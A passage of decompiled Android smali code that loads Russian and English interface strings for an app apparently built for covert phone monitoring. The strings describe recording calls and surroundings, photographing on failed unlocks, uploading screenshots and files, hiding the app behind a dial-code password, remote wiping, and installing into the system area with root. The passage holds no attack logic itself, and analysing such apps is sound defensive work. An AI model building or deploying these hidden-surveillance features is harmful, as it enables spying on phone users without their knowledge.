                    218const-string v2, "\u0412\u0430\u0448\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043e, \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0435\u0441\u044c \u0432 \u0442\u0435\u0445\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443"
                    220invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    222iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    223const/16 v1, 0xea
                    225const-string v2, "\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f"
                    227invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    229iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    230const/16 v1, 0x81
                    232const-string v2, "\u042f\u0437\u044b\u043a"
                    234invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    236iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    237const/16 v1, 0x82
                    239const-string v2, "\u0420\u0443\u0441\u0441\u043a\u0438\u0439"
                    241invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    243iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    244const/16 v1, 0x83
                    246const-string v2, "English"
                    248invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    250iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    251const/16 v1, 0x84
                    253const-string v2, "\u0420\u0435\u0436\u0438\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430"
                    255invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    257iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    258const/16 v1, 0x85
                    260const-string v2, "\u0412\u043a\u043b\u044e\u0447\u0438\u0442\u044c"
                    262invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    264iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    265const/16 v1, 0x86
                    267const-string v2, "\u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0436\u0438\u043c\u0430 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u043a\u0440\u0430\u043d \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430 \u0441 \u043f\u0430\u0440\u043e\u043b\u0435\u043c \u0438\u043b\u0438 \u0431\u0435\u0437 \u043d\u0435\u0433\u043e,\u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0441\u0430\u0439\u0442 \u0438\u043b\u0438 \u0441\u043c\u0441 \u043e\u0442\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c SD \u043a\u0430\u0440\u0442\u0443 \u0438\u043b\u0438 \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\
                    269invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    271iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    272const/16 v1, 0x87
                    274const-string v2, "\u041f\u043e\u043c\u043e\u0449\u044c"
                    276invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    278iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    279const/16 v1, 0x88
                    281const-string v2, "\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043f\u0440\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0447\u0435\u0440\u0435\u0437 GCM \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \"GCM Not registered\", \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0439\u0442\u0435\u0441\u044c \u0432 CGM"
                    283invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    285iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    286const/16 v1, 0x89
                    288const-string v2, "\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f GCM"
                    290invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    292iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    293const/16 v1, 0x8a
                    295const-string v2, "\u0412\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c"
                    297invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    299iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    300const/16 v1, 0x8b
                    302const-string v2, "\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430"
                    304invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    306iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    307const/16 v1, 0x8c
                    309const-string v2, "\u0414\u043b\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043a \u0441\u0432\u043e\u0435\u043c\u0443 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443 \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0439 \u043b\u043e\u0433\u0438\u043d\\\u043f\u0430\u0440\u043e\u043b\u044c \u0438 \u043d\u0430\u0436\u043c\u0438\u0442\u0435 \"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c\""
                    311invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    313iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    314const/16 v1, 0x8d
                    316const-string v2, "\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c"
                    318invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    320iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    321const/16 v1, 0x8e
                    323const-string v2, "\u0423 \u043c\u0435\u043d\u044f \u0435\u0441\u0442\u044c \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u0438 \u044f \u0445\u043e\u0447\u0443 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u043a \u043c\u043e\u0435\u043c\u0443 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443"
                    325invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    327iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    328const/16 v1, 0x8f
                    330const-string v2, "\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0435\u0440\u0435\u0439\u0434\u0438\u0442\u0435 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0442\u0430\u0440\u0438\u0444\u043d\u044b\u0439 \u043f\u043b\u0430\u043d"
                    332invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    334iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    335const/16 v1, 0x90
                    337const-string v2, "\u0423\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043e. \u0411\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432: "
                    339invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    341iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    342const/16 v1, 0x91
                    344const-string v2, "\u0423\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0443\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043e"
                    346invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    348iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    349const/16 v1, 0x92
                    351const-string v2, "\u0422\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0435 \u043d\u043e\u043c\u0435\u0440\u0430 \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u044c SMS-\u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 SIM"
                    353invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    355iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    356const/16 v1, 0x93
                    358const-string v2, "\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 SIM \u043a\u0430\u0440\u0442\u044b"
                    360invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    362iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    363const/16 v1, 0x94
                    365const-string v2, "\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 SIM"
                    367invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    369iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    370const/16 v1, 0x95
                    372const-string v2, "\u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u0438\u0441\u044c\u043c\u043e \u043d\u0430 \u043f\u043e\u0447\u0442\u0443"
                    374invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    376iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    377const/16 v1, 0x96
                    379const-string v2, "\u0418\u043d\u0442\u0435\u0440\u0432\u0430\u043b \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439"
                    381invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    383iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    384const/16 v1, 0x97
                    386const-string v2, "\u0418\u043d\u0442\u0435\u0440\u0432\u0430\u043b \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u0430\u0436\u0434\u044b\u0435:"
                    388invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    390iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    391const/16 v1, 0x9e
                    393const-string v2, "\u041f\u0430\u0440\u043e\u043b\u0438"
                    395invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    397iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    398const/16 v1, 0x9f
                    400const-string v2, "\u041f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u043d\u0430\u0431\u043e\u0440 \u043d\u043e\u043c\u0435\u0440\u0430 (\u041f\u0410\u0420\u041e\u041b\u042c \u0414\u041b\u042f \u0421\u041c\u0421 \u041a\u041e\u041c\u0410\u041d\u0414), \u0435\u0441\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u044b\u0442\u043e, \u043c\u0438\u043d\u0438\u043c\u0443\u043c 4 \u0441\u0438\u043c\u0432\u043e\u043b\u0430"
                    402invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    404iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    405const/16 v1, 0xa1
                    407const-string v2, "\u0410\u0443\u0434\u0438\u043e\u0437\u0430\u043f\u0438\u0441\u044c \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0445 \u0437\u0432\u043e\u043d\u043a\u043e\u0432"
                    409invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    411iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    412const/16 v1, 0xa2
                    414const-string v2, "\u0420\u0435\u0436\u0438\u043c\u0438 \u0437\u0430\u043f\u0438\u0441\u0438"
                    416invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    418iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    419const/16 v1, 0xa6
                    421const-string v2, "\u0410\u0443\u0434\u0438\u043e\u0437\u0430\u043f\u0438\u0441\u044c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f"
                    423invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    425iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    426const/16 v1, 0xa7
                    428const-string v2, "\u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u043c\u0435\u0434\u0438\u0439\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 (\u0437\u0432\u043e\u043d\u043a\u0438/\u0441\u043d\u0438\u043c\u043a\u0438 \u044d\u043a\u0440\u0430\u043d\u0430/\u0444\u043e\u0442\u043e) \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e WiFi "
                    430invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    432iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    433const/16 v1, 0xa8
                    435const-string v2, "\u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432"
                    437invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    439iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    440const/16 v1, 0xa9
                    442const-string v2, "\u0414\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u0438 \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u044b\u0445 \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430\u0445 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430"
                    444invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    446iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    447const/16 v1, 0xaa
                    449const-string v2, "\u0414\u0435\u043b\u0430\u0442\u044c \u0444\u043e\u0442\u043e"
                    451invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    453iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    454const/16 v1, 0xab
                    456const-string v2, "\u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u044b\u0445 \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043e\u043a"
                    458invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    460iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    461const/16 v1, 0xac
                    463const-string v2, "\u0422\u0435\u043b\u0435\u0444\u043e\u043d \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c, \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043b\u0438 SIM \u043a\u0430\u0440\u0442\u0430, \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0441\u043d\u043e\u0432\u0430"
                    465invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    467iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    468const/16 v1, 0xae
                    470const-string v2, "\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435!!!"
                    472invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    474iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    475const/16 v1, 0xad
                    477const-string v2, "\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f GCM \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437 GCM \u0431\u0443\u0434\u0435\u0442 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043d\u043e \u0412\u044b \u0441\u043c\u043e\u0436\u0435\u0442\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437 TCP. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043b\u0438 \u0432\u0445\u043e\u0434 \u0432 Google \u0441\u0435\u0440\u0432\u0438\u0441\u044b (Gmail,Market) \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443. \u041f\u043e\u0441\u043b\u0435
                    479invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    481iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    482const/16 v1, 0xaf
                    484const-string v2, "\u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430 \u043f\u043e\u0434\u043e\u0436\u0434\u0438\u0442\u0435..."
                    486invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    488iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    489const/16 v1, 0xb0
                    491const-string v2, "\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430, \u0434\u043b\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u041e\u0411\u042f\u0417\u0410\u0422\u0415\u041b\u042c\u041d\u041e \u041f\u0415\u0420\u0415\u0417\u0410\u0413\u0420\u0423\u0417\u0418\u0422\u0415 \u0422\u0415\u041b\u0415\u0424\u041e\u041d!"
                    493invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    495iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    496const/16 v1, 0xb1
                    498const-string v2, "\u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c, \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 root \u043f\u0440\u0430\u0432\u0430 \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435"
                    500invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    502iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    503const/16 v1, 0xb2
                    505const-string v2, "\u041f\u0440\u0438\u0432\u044f\u0437\u0430\u0442\u044c SIM \u043a\u0430\u0440\u0442\u0443"
                    507invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    509iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    510const/16 v1, 0xb3
                    512const-string v2, "Change language"
                    514invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    516iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    517const/16 v1, 0xb4
                    519const-string v2, "\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0432 GCM \u0441\u0435\u0440\u0432\u0438\u0441\u0435 \u043f\u0440\u043e\u0448\u043b\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e, \u0442\u0435\u043f\u0435\u0440\u044c \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043e\u043c \u0441 \u0441\u0430\u0439\u0442\u0430"
                    521invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    523iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    524const/16 v1, 0xb5
                    526const-string v2, "\u0421\u043a\u0440\u044b\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435"
                    528invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    530iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    531const/16 v1, 0xb6
                    533const-string v2, "\u041e\u0442\u043e\u0431\u0440\u0430\u0437\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435"
                    535invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    537iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    538const/16 v1, 0xb7
                    540const-string v2, "\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 \u044f\u0440\u043b\u044b\u043a\u043e\u0432 \u043d\u0430 \u0437\u0430\u043f\u0443\u0441\u043a. \u0414\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438\u0437 \u0441\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0440\u0435\u0436\u0438\u043c\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0441 \u0441\u0430\u0439\u0442\u0430 \u0438\u043b\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 - \"\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\" \u0438\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 \u0437\u0432\u043e\u043d\u043e\u043a \u043d\u0430
                    542invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    544iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    545const/16 v1, 0xb8
                    547const-string v2, "\u041c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f"
                    549invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    551iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    552const/16 v1, 0xb9
                    554const-string v2, "\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 (Root)"
                    556invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    558iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    559const/16 v1, 0xba
                    561const-string v2, "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435"
                    563invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    565iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    566const/16 v1, 0xbb
                    568const-string v2, "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435?"
                    570invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    572iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    573const/16 v1, 0xbc
                    575const-string v2, "\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043e \u0438\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438, \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d"
                    577invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    579iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    580const/16 v1, 0xbd
